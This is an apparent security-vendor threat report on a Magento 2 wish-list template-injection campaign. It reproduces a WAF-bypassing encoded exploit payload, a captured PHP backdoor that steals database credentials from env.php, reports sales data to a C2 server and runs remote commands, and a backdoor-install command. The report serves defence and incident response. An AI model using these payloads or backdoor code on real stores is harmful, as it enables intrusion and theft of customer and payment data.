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Magento wish list exploit bypasses WAF protection


by Sansec Forensics Team

Published in Threat Research − December 18, 2023

Found your Magento 2 store hacked recently? Chances are, that attackers injected a malicious wish list. Just before Christmas? Oh the irony.

Magento wish list exploit bypasses WAF protection

In recent weeks, Sansec observed a spike in hacked Magento 2 stores. Our investigations led to a (likely) single attacker, who used a combination of clever techniques to bypass WAFs and competing threat actors. This article lists the methods and discovered attack code.

Are you a merchant? Take these steps now.

The entry vector is the notorious Trojan Order attack (read more here, here and here). Adobe issued a security fix last year, and we estimate that about 80% of stores are currently patched. But many of the remaining stores have been "patched" by a threat actor who wants to protect their "property" from competing actors.

Bypassing competing attackers

This "protection" typically looks like this, which gets added to app/bootstrap.php, and will filter all POST requests that contain addAfterFilterCallback.

if(preg_match('/addafterfiltercallback/si', preg_replace("/[^A-Za-z]/",
    '', urldecode(file_get_contents("php://input"))))) {
    header('HTTP/1.1 503 Service Temporarily Unavailable');
    header('Status: 503 Service Temporarily Unavailable');

However, in the Magento stack, urldecode is called twice, which means that an attacker can inject a double URL-encoded payload, bypass the protection, and still be able to execute its malicious intent.

Such a bypass may contain URL encoded carriage returns (\r\n), such as in this sample exploit payload (1234 is likely the victim identifier as assigned by the attacker):

{{var this.getTempl%0d%0aateFilter().filter(%22curl%22)}}
{{var this.getTempla%0d%0ateFilter().addAft%0d%0aerFilterCallback(%22SySTeM%22).filter(

This fetches and executes it with PHP. In turn, this downloads a trojan from[HASH].php. The following may show up in your server's process list:

$ ps uxaf | grep curl
www-data 18990  0.0  0.1 144840 39244 ?        S    15:00   0:00 php -r function _log($s){$myCurl = curl_init();curl_setopt_array($myCurl, array(CURLOPT_URL => "[HASH].php",CURLOPT_RETURNTRANSFER => true,CURLOPT_POST => 1,CURLOPT_POSTFIELDS => http_build_query(array("s" => $s)),CURLOPT_TIMEOUT => 15));$response = curl_exec($myCurl);curl_close($myCurl);}function _comand(){$myCurl = curl_init();curl_setopt_array($myCurl, array(CURLOPT_URL => "[HASH].php",CURLOPT_RETURNTRANSFER => true,CURLOPT_TIMEOUT => 15));$response = curl_exec($myCurl);curl_close($myCurl);return $response;}function _sql($z,$m){global $_host, $_username, $_password, $_dbname;$connect = mysqli_connect($_host, $_username, $_password, $_dbname);$get=mysqli_query($connect,$z);    if(!$get){return false;}if(!$m){return mysqli_fetch_array($get,MYSQLI_ASSOC);}$mas=array();while($e=mysqli_fetch_array($get,MYSQLI_ASSOC)){$mas[]=$e;}return $mas;}function _sql_d($s){global $_host, $_username, $_password, $_dbname;$connect = mysqli_connect($_host, $_username, $_password, $_dbname);mysqli_query($connect,$s);}$a=file_get_contents("app/etc/env.php");if(!$a){$a=file_get_contents("../app/etc/env.php");}$a=explode("return",$a);$a=eval("$"."b=".$a[1]);$b2=$b["backend"];$url_admin=$b2["frontName"];$b1=$b["db"];$_table_prefix=$b1["table_prefix"];$b1=$b1["connection"];$b1=$b1["default"];$_host=$b1["host"];$_dbname=$b1["dbname"];$_username=$b1["username"];$_password=$b1["password"];$TIMEPAUSE=30;_log("START a1234");while(true){$c=_comand();if($c=="CLOSE"){exit;}if($c){try {eval($c);} catch (Exception $e) {}}sleep($TIMEPAUSE);}_log("CLOSE");

Or, decoded:

function _log($s)
    $myCurl = curl_init();
    curl_setopt_array($myCurl, array(CURLOPT_URL => "[HASH].php", CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => 1, CURLOPT_POSTFIELDS => http_build_query(array("s" => $s)), CURLOPT_TIMEOUT => 15));
    $response = curl_exec($myCurl);

$a = file_get_contents('app/etc/env.php');
if (!$a) {
    $a = file_get_contents('../app/etc/env.php');
_log(count(_sql("SELECT * FROM " . $_table_prefix . "sales_order WHERE created_at LIKE '%2023-05%'", true)));
_log(count(_sql("SELECT * FROM " . $_table_prefix . "quote_payment WHERE created_at LIKE '%2023-05%' AND method != 'NULL'", true)));

The first thing it does, it gather statistics about sales and payments. These are key selling points when putting up a compromised store for sale on dark web forums.

Finally, via this trojan, another backdoor is installed, presumably for later use. It attaches itself to the 404 handler, so can be activated when requesting an non-existing URL.

curl > 404.php

Bypassing WAF rules

This method of injecting bogus whitespace (\r\n) into the attack payload may also circumvent popular web application firewall (WAF) filters. If you depend on a WAF to protect your outdated Magento installation, you may want to review your filters or consider an emergency fix, see below.

common.js malware

In a subset of cases, we found a background process that would search for all instances of common.js and attach a fake payment form to it. You should search for unauthorized background processes and, if found, terminate them. Make sure you have trusted off site source available, so you can easily revert to a trusted copy.

Are you affected?

The best solution is to upgrade your Magento store to a recently supported version. See our matrix of secure versions here.

If, for some reason, you cannot upgrade in the short term, you can apply the emergency fix as listed here.

Regardless of the solution, you should analyze your store for signs of a hack. The easiest and fastest way to do so, is use our eComscan malware & vulnerability scanner. You can run a basic scan free of charge.

Indicators of compromise

  • attacker IP, HZ Hosting Ltd (AS202015)
  • C2 server
  • malware loader
  • PHP backdoor
  • PHP backdoor embedded payload

Read more

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